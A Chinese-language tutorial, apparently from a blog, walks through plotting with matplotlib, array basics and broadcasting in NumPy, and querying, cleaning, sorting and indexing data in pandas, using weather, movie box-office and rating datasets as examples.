图片大小123456789plt.figure(figsize=(20,8),dpi=80)#figure图形图标的意思,在这里指的就是我们画的图#通过实例化一个fgure并且传递参数,能够在后台自动使用该fgure实例#在图像模糊的时候可以传入dpi参数,让图片更加清晰x = range(2,26,2)y =[15,13,14.5,17,20,25,26,26,24,22,18,15]plt.plot(x,y)plt.savefig("./sig_size.png ")#保存图片#可以保存为svg这种矢量图格式,放大不会有锯齿plt.show() x/y轴刻度123# 标签竖着显示plt.xticks(rotation=300)#x轴刻度rotation:旋转的度数plt.yticks()#y轴刻度 中文显示123# 设置matplotlib正常显示中文和负号plt.rcParams['font.sans-serif'] = ['SimHei'] # 用黑体显示中文plt.rcParams['axes.unicode_minus'] = False # 正常显示负号 描述信息123plt.xlabel('x轴描述信息')plt.ylabel('y轴描述信息')plt.title('标题') 图形网格1plt.grid(alpha=0.4)#绘制网格,alpha:透明度 图例1234567891011121314151617181920212223242526272829#散点图from matplotlib import pyplot as pltfrom matplotlib import font_manager# 设置matplotlib正常显示中文和负号plt.rcParams['font.sans-serif'] = ['SimHei'] # 用黑体显示中文plt.rcParams['axes.unicode_minus'] = False # 正常显示负号y_3=[11,17,16,11,12,11,12,6,6,7,8,9,12,15,14,17,18,21,16,17,20,14,15,15,15,19,21,22,22,22,23]#3月份y_10=[26,26,28,19,21,17,16,19,18,20,20,19,22,23,17,20,21,20,22,15,11,15,5,13,17,10,11,13,12,13,6]#10月份x_3 =range(1,32)x_10=range(51,82)#设置图形大小plt.figure(figsize=(20,8),dpi=80)#使用scatter绘制散点图plt.scatter(x_3,y_3,label='3月份')plt.scatter(x_10,y_10,label='10月份')#调整X轴的刻度_x = list(x_3)+list(x_10)_xtick_labels=['3月{}日'.format(i) for i in x_3]_xtick_labels+=['10月{}日'.format(i-50) for i in x_10]plt.xticks(_x[::3],_xtick_labels[::3],rotation=45)#[::3]步长为3,rotation倾斜角度#添加图例plt.legend(loc=2)#添加描述信息plt.xlabel('时间')plt.ylabel('温度')plt.title('标题')#展示plt.show() 自定义绘制图形风格1plt.plot(x,y,color='r',linestyle='--',linewidth=5,alpha=0.5)#color线条颜色,linestyle线条风格,linewidth线条粗细,alpha透明度 颜色字符 描述 风格字符 描述 r 红色 - 实线 g 绿色 -- 虚线 b 蓝色 -. 点划线 c 青色 : 点线 m 洋红色 或 '' 无线条 y 黄色 k 黑色 #00ff00 16进制颜色值 0.8 灰度值字符串 折线图动手假设大家在30岁的时候,根据自己的实际情况,统计出来了你和你同桌各自从11岁到30岁每年交的女(男)朋友的数量如列表a和b,请在一个图中绘制出该数据的折线图,以便比较自己和同桌20年间的差异,同时分析每年交女(男)朋友的数量走势 12345a = [1,0,1,1,2,4,3,2,3,4,4,5,6,5,4,3,3,1,1,1]b =[1,0,3,1,2,2,3,3,2,1,2,1,1,1,1,1,1,1,1,1]要求: y轴表示个数 x轴表示岁数,比如11岁,12岁等 代码: 1234567891011121314151617y_1 = [1,0,1,1,2,4,3,2,3,4,4,5,6,5,4,3,3,1,1,1]y_2 =[1,0,3,1,2,2,3,3,2,1,2,1,1,1,1,1,1,1,1,1]x=range(11,31)#设置图形大小plt.figure(figsize=(20,8),dpi=80)#设置X轴刻度xtick_labels=['{}岁'.format(i) for i in x]plt.xticks(x,xtick_labels)plt.yticks(range(0,9))#绘制网格plt.grid(alpha=0.4)plt.plot(x,y_1,label='自己')plt.plot(x,y_2,label='同桌')#添加图例plt.legend()#展示plt.show() 散点图12345678910111213141516171819202122#散点图from matplotlib import pyplot as pltfrom matplotlib import font_manager# 设置matplotlib正常显示中文和负号plt.rcParams['font.sans-serif'] = ['SimHei'] # 用黑体显示中文plt.rcParams['axes.unicode_minus'] = False # 正常显示负号y_3=[11,17,16,11,12,11,12,6,6,7,8,9,12,15,14,17,18,21,16,17,20,14,15,15,15,19,21,22,22,22,23]#3月份y_10=[26,26,28,19,21,17,16,19,18,20,20,19,22,23,17,20,21,20,22,15,11,15,5,13,17,10,11,13,12,13,6]#10月份x_3 =range(1,32)x_10=range(51,82)#设置图形大小plt.figure(figsize=(20,8),dpi=80)plt.scatter(x_3,y_3)plt.scatter(x_10,y_10)#调整X轴的刻度_x = list(x_3)+list(x_10)_xtick_labels=['3月{}日'.format(i) for i in x_3]_xtick_labels+=['10月{}日'.format(i-50) for i in x_10]plt.xticks(_x[::3],_xtick_labels[::3],rotation=45)#展示plt.show() 条形图1234567#绘制条形图x=["战狼2","速度与激情8","功夫瑜伽","西游伏妖篇","变形金刚5:最后的骑士","摔跤吧!爸爸","加勒比海盗5死无对证" ,"金刚:骷髅岛","极限特工:终极回归","生化危机6:终章", "乘风破浪","神偷奶爸3" ,"智取威虎山","大闹天竺","金刚狼3:殊死一战","蜘矜侠:英雄归来","悟空传","银河护卫队2","情圣","新木乃伊",]y=[56.01,26.94,17.53,16.49,15.45,12.96,11.8,11.61,11.28,11.12,10.49,10.3,8.75,7.55,7.32,6.99,6.88,6.86,6.58,6.23]#单位:亿plt.figure(figsize=(20,8),dpi=80)plt.bar(x,y,width=0.3)plt.xticks(x,rotation=90)#让文字旋转90度,避免文字重叠plt.show() 12345678#绘制横着的条形图x=["战狼2","速度与激情8","功夫瑜伽","西游伏妖篇","变形金刚5:最后的骑士","摔跤吧!爸爸","加勒比海盗5死无对证" ,"金刚:骷髅岛","极限特工:终极回归","生化危机6:终章", "乘风破浪","神偷奶爸3" ,"智取威虎山","大闹天竺","金刚狼3:殊死一战","蜘矜侠:英雄归来","悟空传","银河护卫队2","情圣","新木乃伊",]y=[56.01,26.94,17.53,16.49,15.45,12.96,11.8,11.61,11.28,11.12,10.49,10.3,8.75,7.55,7.32,6.99,6.88,6.86,6.58,6.23]#单位:亿plt.figure(figsize=(20,8),dpi=80)plt.barh(range(len(x)),y,height=0.3)plt.yticks(range(len(x)),x)plt.grid(alpha=0.4)plt.show() 多条形图12345678910111213141516171819# 假设你知道了列表a中电影分别在2017-09-14(b_14),2017-09-15(b_15),2017-09-16(b_16)三天的票房,为了展示列表中电影本身的票房以及同其他电影的数据对比情况,应该如何更加直观的呈现该数据?x = ["猩球崛起3:终极之战", "敦刻尔克", "蜘蛛侠:英雄归来", "战狼2"]b_14 = [2358, 399, 2358, 362]b_15 = [12357, 156, 2045, 168]b_16 = [15746, 312, 4497, 319]bar_width = 0.2x_14 = list(range(len(x)))x_15 = [i+bar_width for i in x_14]x_16 = [i+bar_width*2 for i in x_14]# 设置图形大小plt.figure(figsize=(20, 8), dpi=80)plt.bar(range(len(x)),b_14, width=bar_width,label='9月14日')plt.bar(x_15, b_15, width=bar_width,label='9月15日')plt.bar(x_16, b_16, width=bar_width,label='9月16日')#设置图例plt.legend()#设置x轴的刻度plt.xticks(x_15,x)plt.show() 直方图把数据分为多少组进行统计??? 组数要适当,太少会有较大的统计误差,大多规律不明显 组数:将数据分组,当数据在100个以内时,按数据多少常分5-12组.组距:指每个小组的两个端点的距离 1234567891011bin_width = 3#设置组距为3num_bins = int((max (a)-min(a))/bin_width)#分为多少组plt.hist(a,num_bins)#传入需要统计的数据,以及组数即可#plt.hist(a,[min(a)+i*bin_width for i in range(num_bins)])#可以传入一个列表,长度为组数,值为分组依据,当组距不均匀的时候使用#plt.hist(a, num_bins,normed=1)#normed : bool是否绘制频率分布直方图,默认为频数直方图plt.xticks(list(range(min(a),max(a))[::bin_width],rotation=45)plt.grid(True,linestyle = "-.",alpha=0.5) #显示网格,alpha为透明度 12345678910111213#直方图#假设你获取了250部电影的时长(列表a中),希望统计出这些电影时长的分布状态(比如时长为100分钟到120分钟电影的数量,出现的频率)等信息,你应该如何呈现这些数据?a = [131, 98, 125, 131, 124, 139, 131, 117, 128, 108,135, 138, 131, 102, 107, 114, 119, 128, 121, 142, 127, 130, 124, 101,110, 116, 117, 110, 128, 128, 90, 99, 136, 126, 134, 95, 138, 117, 79, 78,132, 124, 113, 150, 110, 117, 86, 95, 144, 105, 126, 130, 126, 130, 126, 116, 123, 106, 112, 138,123, 86, 101, 99, 136, 123, 117, 119, 105, 137, 123, 128, 125, 104, 109, 134, 125, 127, 105, 120, 107, 129, 116,108, 132, 103, 136, 118, 102, 120, 114, 105, 115, 132, 145, 119, 121, 112, 139, 125, 138, 109, 132, 134, 156, 106,117, 127, 144, 139, 139, 119, 140, 83, 110, 102, 123, 107, 143, 115, 136, 118, 139, 123, 112, 88, 125, 109, 119, 133, 112, 114,122, 109, 106, 123, 116, 131, 127, 115, 118, 112, 135, 115, 146, 137, 116, 103, 144, 83, 123, 79, 110, 101, 100, 154, 136,100, 118, 119, 133, 134, 106, 129, 126, 110, 98, 109, 141, 120, 117, 106, 149, 122, 122, 110, 118, 127, 121, 114, 125, 126,114, 140, 103, 130, 141, 117, 106, 114, 121, 114, 133, 137, 92, 121, 112, 146, 97, 137, 105, 98, 117, 112, 81, 97, 139, 113, 134, 106, 144, 110, 137, 137, 91, 104, 117, 100, 111, 101, 110, 105, 129, 137, 112, 120, 113, 133,112, 83, 94, 146, 133, 101, 131, 116, 111, 84, 137, 115, 122, 106, 144, 109, 123, 116, 111, 111, 133, 150]plt.figure(figsize=(20,8),dpi=80)plt.grid()# 组距(组距最好选可以让max(a)-min(a)整除的)d = 3#计算组数num_bins=(max(a)-min(a))//dplt.hist(a,num_bins)#设置x轴的刻度plt.xticks(range(min(a),max(a)+d,d))#max(a)+d保证可以取到最大值plt.show() 用条形图绘制直方图12345678910111213#在美国2004年人口普查发现有124 million的人在离家相对较远的地方工作.根据他们从家到上班地点所需要的时间,通过抽样统计(最后一列)出了下表的数据,这些数据能够绘制成直方图么?interval = [0,5,10,15,20,25,30,35,40,45,60,90]#时间段mwidth =[5,5,5,5,5,5,5,5,5,15,30,60]#组距quantity = [836,2737,3723,3926,3596,1438,3273,642,824,613,215,47]#数据# 前面的问题中给出的数据都是统计之后的数据,所以为了达到直方图的效果,需要绘制条形图# 所以:一般来说能够使用plt.hist方法的的是那些没有统计过的数据plt.figure(figsize=(20,8),dpi=80)plt.grid()plt.bar(range(12),quantity,width=1)#设置x轴的刻度_x = [i-0.5 for i in range(13)]#让x轴往左移动0.5plt.xticks(_x,interval+[150])plt.show() Numpy什么是numpy一个在Python中做科学计算的基础库,重在数值计算,也是大部分PYTHON科学计算库的基础库,多用于在大型、多维数组上执行数值运算 numpy基础numpy创建数组(矩阵)123456789101112131415#numpy#创建数组:import numpy as npa = np.array ([1,2,3,4,5])b = np.array (range(1,6))c = np.arange(1,6)#上面a,b,c内容相同,注意arange和range的区别#np.arange的用法: arange([start,] stop[,step,],dtype=None)#数组的类名:a =np.array ([1,2,3,4,5])type(a)#numpy.ndarray#数据的类型a.dtype#dtype('int32') numpy中的数据类型 类型 类型代码 说明 int8、uint8 i1、u1 有符号和无符号的8位(1个字节)整型 int16、uint16 i2、u2 有符号和无符号的16位(2个字节)整型 int32、uint32 i4、u4 有符号和无符号的32位(4个字节)整型 int64、uint64 i8、u8 有符号和无符号的64位(8个字节)整型 float16 f2 半精度浮点数 float32 f4或f 标准的单精度浮点数.与C的float兼容 float64 f8或d 标准的双精度浮点数.与C的double和Python的float对象兼容 float128 f16或g 扩展精度浮点数 complex64、complex128 c8、c16 分别用两个32位、64位或128位浮点数表示的 complex256 c32 复数 bool ? 存储True和False值的布尔类型 1234567891011#指定创建的数组的数据类型:a=np.array([1,0,1,0],dtype=np.bool) #或者使用dtype='?'a#Out:array([ True, False, True, False])# 修改数组的数据类型:# a.astype("i1")#或者使用a.astype(np.int8)#Out:array([1, 0, 1, 0], dtype=int8)#修改浮点型的小数位数:# b# np.round (b,2)# 那么问题来了,python中如何保留固定位数的小数? 数组的形状12345678910111213141516171819202122232425262728293031323334353637383940import numpy as np#查看数组的形状:a.shapet1=np.arange(12)t1#OUT:array([ 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11])t1.shape#OUT:(12,)t2=np.array([[1,2,3],[4,5,6]])t2#OUT:array([[1, 2, 3],[4, 5, 6]])t2.shape#OUT:(2, 3)t3=np.array([[[1,2,3,],[4,5,6]],[[7,8,9],[10,11,12]]])t3.shape#OUT:(2, 2, 3)#修改数组的形状:a.reshape(3,4)t4=np.arange(12)t4#OUT:array([ 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11])t4.reshape((3,4))#变成3行4列的数组,3*4=12# OUT:array([[ 0, 1, 2, 3],[ 4, 5, 6, 7],[ 8, 9, 10, 11]])t5=np.arange(24).reshape((2,3,4))#2块,3行4列t5#OUT:array([[[ 0, 1, 2, 3], # [ 4, 5, 6, 7], # [ 8, 9, 10, 11]], # [[12, 13, 14, 15], # [16, 17, 18, 19], # [20, 21, 22, 23]]])t5 = t5.reshape((4,6))#t5本身不会改变# OUT:array([[ 0, 1, 2, 3, 4, 5],# [ 6, 7, 8, 9, 10, 11],# [12, 13, 14, 15, 16, 17],# [18, 19, 20, 21, 22, 23]])# t6.shape[0]*t6.shape[1]#加入不知道t6有多少个但是想把它变成一维的所以用shape[0]*shape[1]t6=t5.reshape((t5.shape[0]*t5.shape[1],))#shape[0]行数,shape[1]列数或者t5.flatten()t6# OUT:array([ 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16,# 17, 18, 19, 20, 21, 22, 23])t5.flatten()#OUT:array([ 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16,# 17, 18, 19, 20, 21, 22, 23]) 数组的计算数组和数的计算123456789101112131415t5# OUT:array([[ 0, 1, 2, 3, 4, 5],# [ 6, 7, 8, 9, 10, 11],# [12, 13, 14, 15, 16, 17],# [18, 19, 20, 21, 22, 23]])t5+2#所有的值都+2,t5*2,t5-2,#t5/0#任何数除以零都得零,有些情况下会报Warning,结果是nan,和inf,nan是零除以零的结果(nan(not on number不是一个数字)),inf(infinity,无穷)是零除以一个数字的结果#OUT:array([[nan, inf, inf, inf, inf, inf], # [inf, inf, inf, inf, inf, inf], # [inf, inf, inf, inf, inf, inf], # [inf, inf, inf, inf, inf, inf]])# OUT:array([[ 2, 3, 4, 5, 6, 7],# [ 8, 9, 10, 11, 12, 13],# [14, 15, 16, 17, 18, 19],# [20, 21, 22, 23, 24, 25]]) 数组和数组的计算123456789101112131415161718192021222324252627282930t5#OUT:array([[ 0, 1, 2, 3, 4, 5], # [ 6, 7, 8, 9, 10, 11], # [12, 13, 14, 15, 16, 17], #[18, 19, 20, 21, 22, 23]])t6=np.arange(100,124).reshape((4,6))t6t6+t5#对应位置的数字相+,其他运算也是t7=np.arange(0,6)t7#OUT:array([0, 1, 2, 3, 4, 5])t5-t7#行形状一样也可以计算# OUT:array([[ 0, 0, 0, 0, 0, 0],# [ 6, 6, 6, 6, 6, 6],# [12, 12, 12, 12, 12, 12],# [18, 18, 18, 18, 18, 18]])t8=np.arange(4).reshape((4,1))t8# OUT:array([[0],# [1],# [2],# [3]])t5-t8# OUT:array([[ 0, 1, 2, 3, 4, 5],# [ 5, 6, 7, 8, 9, 10],# [10, 11, 12, 13, 14, 15],# [15, 16, 17, 18, 19, 20]])t9=np.arange(10)t9#OUT:array([0, 1, 2, 3, 4, 5, 6, 7, 8, 9])# t5-t9#报错,对应不上 广播原则 如果两个数组的后缘维度 (trailing dimension,即从末尾开始算起的维度)的轴长度相符或其中一方的长度为1,则认为它们是广播兼容的.广播会在缺失和(或)长度为1的维度上进行. 怎么理解呢?可以把维度指的是shape所对应的数字个数那么问题来了: shape为(3,3,3)的数组能够和(3,2)的数组进行计算么? 不可以,形状不一样 shape为(3,3,2)的数组能够和(3,2)的数组进行计算么? 可以,末尾形状一样(第一块的3行2列和后面的3行2列计算,以此类推) 有什么好处呢? 举个例子:每列的数据减去列的平均值的结果 numpy常用方法 numpy常用统计方法Pandas什么是pandas 一个开源的Python类库:用于数据分析、数据处理、数据可视化 高性能 容易使用的数据结构 容易使用的数据分析工具 很方便和其他类库一起使用: numpy:用于数学计算 scikit-learn:用于机器学习 pandas读取数据pandas需要先读取表格类型的数据,然后进行分析 数据类型 说明 Pandas读取方式 csv、tsv、txt 用逗号分隔、tab分隔的纯文本文件 pd.read_csv excel 微软xls或者xlsx文件 pd.read_excel mysql 关系型数据库表 pd.read_sql 1234567891011121314151617181920212223242526272829303132333435363738394041# 导入Pandasimport pandas as pd# 读取纯文本文件# 读取csv,使用默认的标题行、逗号分隔fpath="./datas/ml-latest-small/ratings.csv"# 使用pd.read_csv读取数据ratings=pd.read_csv(fpath)# 查看前几行数据ratings.head()# 查看数据的形状,返回(行数,列数)ratings.shape# 查看列名列表ratings.columns#查看索引列ratings.index# 查看每列的数据类型ratings.dtypes# 读取txt文件,自己指定分隔符、列名fpath="./datas/crazyant/access_pvuv.txt"pvuv=pd.read_csv( fpath, sep='\\t',#列分隔符 header=None,#没有标题行 names=['pdate','pv','uv']#列名)pvuv# 读取excel文件fpath="./datas/crazyant/access_pvuv.xls"pvuv=pd.read_excel(fpath)pvuv# 读取mysql数据库import pymysqlconn=pymysql.connect( host='127.0.0.1', user='root', password='123456789', datase='test', charset='utf8')mysql_page=pd.read_sql('select * from test',con=conn)mysql_page Pandas数据结构DataFrame:二维数据,整个表格,多行多列 Series:一维数据,一行或一列 Series DataFrame 从DataFrame中查询出Series 123456789101112131415161718192021222324import pandas as pd import numpy as np# 1.Series# Series是一种类似于数组的对象,它由一组数据(不同数据类型)以及一组与之相关的数据标签(既索引组成)# 1.1仅有数据列表即可产生最简单的Seriess1= pd.Series([1,'a',5.2,7])s1#左侧为索引,右侧是数据#获取索引s1.index#获取数据s1.values# 1.2 创建一个具有标签索引的Seriess2= pd.Series([1,'a',5.2,7],index=['a','b','c','d'])s2.index# 1.3使用python字段创建seriessdata={'a':300,'b':9900,'c':9920,'d':23556,'e':290903}s3=pd.Series(sdata)s3# 1.4 根据标签索引查询数据# 类似Python的字典dicts2['a']type(s2['a'])s2[['b','a']]type(s2[['b','a']]) DataFrameDataFrame是一个表格型的数据结构 每列可以是不同的值类型(数值、字符串、布尔值等) 既有行索引index,也有列索引columns 可以被看作由Series组成的字典 根据多个字典序列创建dataframe1234567891011121314151617181920212223242526272829# 2 DataFrame# DataFrame是一个表格型的数据结构# 根据多个字典序列创建dataframedata={ 'state':['AMKKLS','MNNJS','JKSNGSA','JKOMNS','ASSSSV'], 'year':[2000,2001,2002,2003,2004], 'pop':[1.5,1.7,3.6,2.4,2.9]}df=pd.DataFrame(data)dfdf.dtypesdf.columnsdf.index# 从dataFrame中查询出Series# 如果只查询一列、一行,返回的是pd.Series# 如果查询多行、多列,返回的是pd.DataFramedf# 查询一列,结果是一个pd.Seriesdf['year']type(df['year'])#pandas.core.series.Series# 查询多列,结果是一个pd.DataFramedf[['year','pop']]type(df[['year','pop']])#pandas.core.frame.DataFrame# 查询一行,结果是pd.Seriesdf.loc[1]type(df.loc[1])#pandas.core.series.Series# 查询多行,结果是一个pd.DataFramedf.loc[1:3]type(df.loc[1:3])#pandas.core.frame.DataFrame Pandas查询数据的5种方法 按数值、列表、区间、条件、函数五种方法 Pandas查询数据的几种方法12345df.loc方法,根据行、列的标签值查询df.iloc方法,根据行、列的数字位置查询df.where方法df.query方法.loc既能查询,又能覆盖写入,强烈推荐! Pandas使用df.loc查询数据的方法12345使用单个label值查询数据使用值列表批量查询使用数值区间进行范围查询使用条件表达式查询调用函数查询 注意 以上查询方法,既适用于行,也适用于列 注意观察降维dataFrame>Series>值 Pandas如何新增数据列在进行数据分析时,经常需要按照一定条件创建新的数据列,然后进行进一步分析 直接赋值 df.apply方法 df.assign方法 按条件选择分组分别赋值 12345import pandas as pd# 读取csv数据到DataFramefpath='./datas/beijing_tianqi/beijing_tianqi_2018.csv'df=pd.read_csv(fpath)df.head() 直接赋值的方法123456789# 实例:清理温度列,变成数字类型# 替换掉温度的后缀℃df.loc[:,'bWendu']=df['bWendu'].str.replace('℃','').astype('int32')df.loc[:,'yWendu']=df['yWendu'].str.replace('℃','').astype('int32')df.head()# 实例:计算温差# 注意:df['bWendu']其实是一个Series,后面的减法返回的是Seriesdf.loc[:,'wencha']=df['bWendu']-df['yWendu']df.head() df.apply方法 沿着df的某个轴应用一个函数.传递给函数的对象是个Series对象,其索引是数据帧的索引(axis=0)或数据帧的列(axis=1) 1234567891011121314实例:添加一列温度类型: 1. 如果最高温度大于33度就说高温 2. 低于-10度是低温 3. 否则是常温def get_wendu_type(x): if x['bWendu']>33: return '高温' if x['yWendu']<-10: return '低温' return '常温'df.loc[:,'wendu_type']=df.apply(get_wendu_type,axis=1)df# 查看温度类型的计数df['wendu_type'].value_counts() df.assign方法 给数据帧分配新的列.返回一个新对象,其中包含除了新列之外的所有原始列. 12345# 可以同时添加多个新的列df.assign( yWendu_huashi = lambda x : x['yWendu']*9/5+32, bWendu_huashi = lambda x : x['bWendu']*9/5+32) 按条件选择分组分别赋值按条件先选择数据,然后对这部分数据赋值新列 实例:高低温差大于10度,则认为温差大 12345# 先创建空列(这是第一种创建新列的方法)df['wencha_type']=''df.loc[df['bWendu']-df['yWendu']>10,'wencha_type']='温差大'df.loc[df['bWendu']-df['yWendu']<=10,'wencha_type']='温差正常'df['wencha_type'].value_counts() Pandas数据统计函数 汇总类统计 唯一去重和按值计数 相关系数和协方差 汇总类统计12345678# 一下子提取所有数字列统计结果df.describe()# 查看单个Series的数据df['bWendu'].mean()# 最高温df['bWendu'].max()# 最低温df['bWendu'].min() 唯一去重123df['fengxiang'].unique()df['tianqi'].unique()df['fengli'].unique() 按值计数123df['fengxiang'].value_counts()df['tianqi'].value_counts()df['fengli'].value_counts() 相关系数和协方差 协方差:衡量同向反向程度,如果协方差为正,说明X,Y同向变化,协方差越大说明同向程度越高;如果协方差为负,说明X,Y反向运动,协方差越小说明反向程度越高. 相关系数:衡量相似程度,当他们相关系数为1时,说明两个变量变化时的正向相似度最大,当相关系数为-1时,说明两个变量变化的反向相似度最大 123456789# 协方差矩阵df.cov()# 相关系数矩阵df.corr()# 单独查看空气质量和最高温度的相关系数df['aqi'].corr(df['bWendu'])df['aqi'].corr(df['yWendu'])# 空气质量和温度差的相关系数df['aqi'].corr(df['bWendu']-df['yWendu']) Pandas缺失值处理Pandas使用这些函数处理缺失值 isnull和notnull:检测是否是空值,可用于df和series dropna:丢弃、删除缺失值 axis:删除行还是列,{0 or ‘index’,1or ‘columns’},default 0 how:如果等于any则任何值都删除,如果等于all则所有值都为空才删除 inplace:如果为True则修改当前df,否则返回新的df fillna: 填充空值 value:用于填充的值,可以是单个值,或者字典(key是列名,value是值) method:等于ffill使用前一个不为空的值填充forword fill;等于bfill使用后一个不为空的值填充backword fill axis:按行还是列填充,{0 or ‘index’,1or ‘columns’} inplace:如果为True则修改当前df,否则返回新的df 1234567891011121314151617181920212223242526import pandas as pdfpath=('./datas/student_excel/student_excel.xls')df = pd.read_excel(fpath,skiprows=2)# skiprows跳过前两行df# 检测空值df.isnull()df['分数'].isnull()df['分数'].notnull()# 筛选没有空分数的所有行df.loc[df['分数'].notnull(),:]# 删除掉全是空值的列df.dropna(axis='columns',how='all',inplace=True)df# 删除全是空值的行df.dropna(axis='index',how='all',inplace=True)df# 将分数列为空的填充为0分df.fillna({'分数':0},inplace=True)# 等同于# df.loc[:,'分数']=df['分数'].fillna(0)# 将姓名的缺失值填充# 使用前面的有效值填充ffill:forward filldf.loc[:,'姓名']=df.fillna(method='ffill')df# 将清洗好的excel保存df.to_excel('./datas/student_excel/student_clean_excel.xls',index=False)#index=False不保存索引 Pandas 的Setting WithCopyWarning 报警复现、原因、解决方案报警复现12345678910111213141516import pandas as pd# 读取csv数据到DataFramefpath='./datas/beijing_tianqi/beijing_tianqi_2018.csv'df=pd.read_csv(fpath)df.head()# 直接赋值的方法# 实例:清理温度列,变成数字类型# 替换掉温度的后缀℃df.loc[:,'bWendu']=df['bWendu'].str.replace('℃','').astype('int32')df.loc[:,'yWendu']=df['yWendu'].str.replace('℃','').astype('int32')df.head()# 只选出3月份的数据用于分析condition = df['ymd'].str.startswith('2018-03')# 这一步会报错Setting WithCopyWarningdf[condition]['wen_cha']=df['bWendu']-df['yWendu']df[condition].head() 原因发出警告的代码 df[condition]['wen_cha']=df['bWendu']-df['yWendu']相当于:df.get(condition).set(wen_cha),第一步骤的get发出了报警 链式操作其实是两个步骤,先get后set,get得到的dataframe可能是view也可能是copy,pandas发出警告 核心要诀:pandas的dataframe的修改写操作,只允许在源dataframe上进行,一步到位 解决方法 将get+set的两步操作,改成set的一步操作 12df.loc[condition,'wendu_cha']=df['bWendu']-df['yWendu']df[condition].head() 如果需要预筛选数据做后续的处理分析,使用copy复制dataframe 1234df_month3=df[condition].copy()df_month3.head()df_month3['wen_cha']=df['bWendu']-df['yWendu']df_month3.head() 注意:pandas不允许筛选子dataframe,再进行修改写入 要么使用.loc实现一个步骤直接修改源dataframe 要么先复制一个子dataframe再执行修改 Pandas数据排序Series的排序: Series.sort_values(ascending=True,inplace=False) 参数说明: ascending:默认为True升序排序,为False降序排序 inplace:是否修改Series DataFrame的排序: DataFrame.sort_values(by,ascending=True,inplace=False) 参数说明: by:字符串或者List<字符串>,单列排序或者多列排序 ascending:bool或者List,升序还是降序,如果是list对应by的多列 inplace:是否修改原始DataFrame Series的排序123df['aqi'].sort_values()df['aqi'].sort_values(ascending=False)df['tianqi'].sort_values() DataFrame的排序 单列排序 12df.sort_values(by='aqi')df.sort_values(by='aqi',ascending=False) 多列排序 123456# 按空气质量等级、最高温度排序,默认升序df.sort_values(by=['aqiLevel','bWendu'])# 两个字段都是降序df.sort_values(by=['aqiLevel','bWendu'],ascending=False)# 分别指定升序和降序df.sort_values(by=['aqiLevel','bWendu'],ascending=[True,False]) pandas字符串处理Pandas的字符串处理 使用方法:先获取Series的str属性,然后再属性上调用函数 只能在字符串列上使用,不能在数字列上使用 Dataframe上没有str属性和处理方法 Series.str并不是Python原生字符串,而是自己的一套方法,不过大部分和原生str很相似 https://pandas.pydata.org/pandas-docs/stable/reference/series.html#string-handlinghttps://pandas.pydata.org/pandas-docs/stable/reference/series.html#string-handling 演示内容12341. 获取Series的str属性,然后使用各种字符串处理函数2. 使用str的startswith、contains等bool类Series可以做条件查询3. 需要多次str处理的链式操作4. 使用正则表达式处理 12345import pandas as pd# 读取csv数据到DataFramefpath='./datas/beijing_tianqi/beijing_tianqi_2018.csv'df=pd.read_csv(fpath)df.head() 获取Series的str属性,使用各种字符串处理函数 123456df['bWendu'].str# 字符串替换函数df['bWendu'].str.replace('℃','')# 判断是不是数字df['bWendu'].str.isnumeric()# df['aqi'].str.len() #不允许在int类型上用str 使用str的startswith、contains等得到bool的Series可以做条件查询 123condition=df['ymd'].str.startswith('2018-03')conditiondf[condition].head() 需要多次str处理的链式操作怎样提取201803这样的数字月份? 先将日期2018-03-31替换成20180331的形式 提取月份字符串201803 12345 # 每次调用函数,都返回一个新Seriesdf['ymd'].str.replace('-','')df['ymd'].str.replace('-','').str.slice(0,6)# slice就是切片语法,可以直接用df['ymd'].str.replace('-','').str[0:6] 使用正则表达式的处理 123456789101112#添加新列def get_nianyueri(x): year, month,day = x["ymd"].split("-") return f"{year}年{month}月{day}日"df["中文日期"]= df.apply(get_nianyueri,axis=1)df['中文日期']# 问题:怎么将'2018年12月31日'中的年月日三个中文字符去除?# 方法1: 链式replacedf['中文日期'].str.replace('年','').str.replace('月','').str.replace('日','')# Series.str默认就开启了正则表达式模式# 方法2:正则表达式替换df['中文日期'].str.replace('[年月日]','') Pandas的axis参数 axis=0或者’index’: 如果是单行操作,就指的是某一行 如果是聚合操作,指的是跨行cross rows axis=1或者’columns’: 如果是单列操作,就指的是某一列 如果是聚合操作,指的是跨列cross columns 按哪个axis,就是这个axis要动起来类似被for遍历,其他的axis保持不动 123456789101112131415161718192021import pandas as pd import numpy as np df = pd.DataFrame( np.arange(12).reshape(3,4), columns=['A','B','C','D'])df# 1. 单列drop,就是删除某一列# 代表的就是删除某列df.drop('A',axis=1)# 2. 单行drop,就是删除某一行df.drop(1,axis=0)# 3. 按axis=0/index执行mean聚合操作# 反直觉:输出的不是每行的结果,而是每列的结果df# axis=0 or axis=indexdf.mean(axis=0)# 4. 按axis=1/columns执行mean聚合操作df # axis=1 or axis=columnsdf.mean(axis=1) Pandas的索引indexPandas的索引index的用途把数据存储与普通的column列也能用于数据查询,那使用index有什么好处? index的用途总结: 更方便的数据查询 使用index可以获得性能提升 自动的数据对齐功能 更多更强大的数据结构支持 Pandas的索引index的用途12345678910111213import pandas as pd df = pd.read_csv('./datas/ml-latest-small/ratings.csv')df.head()df.count()# 1. 使用index查询数据# drop=false,让索引列还保持在columndf.set_index('userId',inplace=True,drop=False)# set_index修改索引df.head()df.index# 使用index的查询方法df.loc[500].head(5)# 使用column的condition查询方法df.loc[df['userId']==500].head() 使用index会提升查询性能 如果index是唯一的,Pandas会使用哈希表优化,查询性能O(1) 如果index不是唯一的,但是有序,Pandas会使用二分查找法,查询性能为O(logN) 如果index是完全随机的,那么每次查询都要扫描全表,查询性能为O(N) 实验1:完全随机的顺序查询12345678from sklearn.utils import shuffledf_shuffle=shuffle(df)df_shuffle.head()# 索引是否是递增的df_shuffle.index.is_monotonic_increasingdf_shuffle.index.is_unique# 计时,查询id==500数据性能%timeit df_shuffle.loc[500] 实验2:将index排序后的查询123456df_sorted = df_shuffle.sort_index()df_sorted.head()# 索引是否是递增的df_sorted.index.is_monotonic_increasingdf_sorted.index.is_unique%timeit df_sorted.loc[500] 使用index能自动对其数据包括series和dataframe 12345s1=pd.Series([1,2,3],index=list('abc'))s1s2=pd.Series([2,3,4],index=list('bcd'))s2s1+s2 使用index更多更强大的数据结构支持很多强大的索引数据结构 Caregoricalindex,基于分类数据的index,提升性能 Multiindex,多维索引,用于groupby多维聚合后结果等 